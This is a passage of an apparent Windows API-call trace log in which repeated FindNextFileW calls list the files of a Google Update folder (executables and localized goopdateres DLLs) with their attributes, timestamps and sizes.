ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler.exe", cAlternateFileName="GOOGLE~3.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler64.exe", cAlternateFileName="GOOGLE~4.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateBroker.exe", cAlternateFileName="GO664E~1.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateComRegisterShell64.exe", cAlternateFileName="GOBD5D~1.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateCore.exe", cAlternateFileName="GOOGLE~2.EXE")) returned 1 [0116.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateHelper.msi", cAlternateFileName="GOOGLE~1.MSI")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateOnDemand.exe", cAlternateFileName="GOF5E2~1.EXE")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOFB2B~1.EXE")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateWebPlugin.exe", cAlternateFileName="GOF8A8~1.EXE")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1abe50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdate.dll", cAlternateFileName="")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_am.dll", cAlternateFileName="GOOPDA~1.DLL")) returned 1 [0116.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ar.dll", cAlternateFileName="GOOPDA~2.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bg.dll", cAlternateFileName="GOOPDA~3.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bn.dll", cAlternateFileName="GOOPDA~4.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ca.dll", cAlternateFileName="GO29C7~1.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_cs.dll", cAlternateFileName="GO58E6~1.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_da.dll", cAlternateFileName="GODC3A~1.DLL")) returned 1 [0116.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_de.dll", cAlternateFileName="GOAC0F~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_el.dll", cAlternateFileName="GO5382~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en-GB.dll", cAlternateFileName="GO5AC6~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en.dll", cAlternateFileName="GOB81A~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es-419.dll", cAlternateFileName="GOB840~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es.dll", cAlternateFileName="GOE1FA~1.DLL")) returned 1 [0116.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_et.dll", cAlternateFileName="GO372F~1.DLL")) returned 1 [0116.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fa.dll", cAlternateFileName="GO664E~1.DLL")) returned 1 [0116.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fi.dll", cAlternateFileName="GOBE63~1.DLL")) returned 1 [0116.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fil.dll", cAlternateFileName="GOD7F9~1.DLL")) returned 1 [0116.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fr.dll", cAlternateFileName="GOB0D5~1.DLL")) returned 1 [0116.791] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_gu.dll", cAlternateFileName="GOA5CA~1.DLL")) returned 1 [0116.791] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hi.dll", cAlternateFileName="GO950C~1.DLL")) returned 1 [0116.791] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hr.dll", cAlternateFileName="GOD93D~1.DLL")) returned 1 [0116.791] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hu.dll", cAlternateFileName="GO65EC~1.DLL")) returned 1 [0116.791] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_id.dll", cAlternateFileName="GO9B55~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_is.dll", cAlternateFileName="GOEB36~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_it.dll", cAlternateFileName="GO79FD~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_iw.dll", cAlternateFileName="GOF8FD~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ja.dll", cAlternateFileName="GO19B9~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_kn.dll", cAlternateFileName="GOD1E2~1.DLL")) returned 1 [0116.792] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ko.dll", cAlternateFileName="GO9703~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lt.dll", cAlternateFileName="GOB674~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lv.dll", cAlternateFileName="GO6D3D~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ml.dll", cAlternateFileName="GOC08E~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_mr.dll", cAlternateFileName="GOFE9B~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, 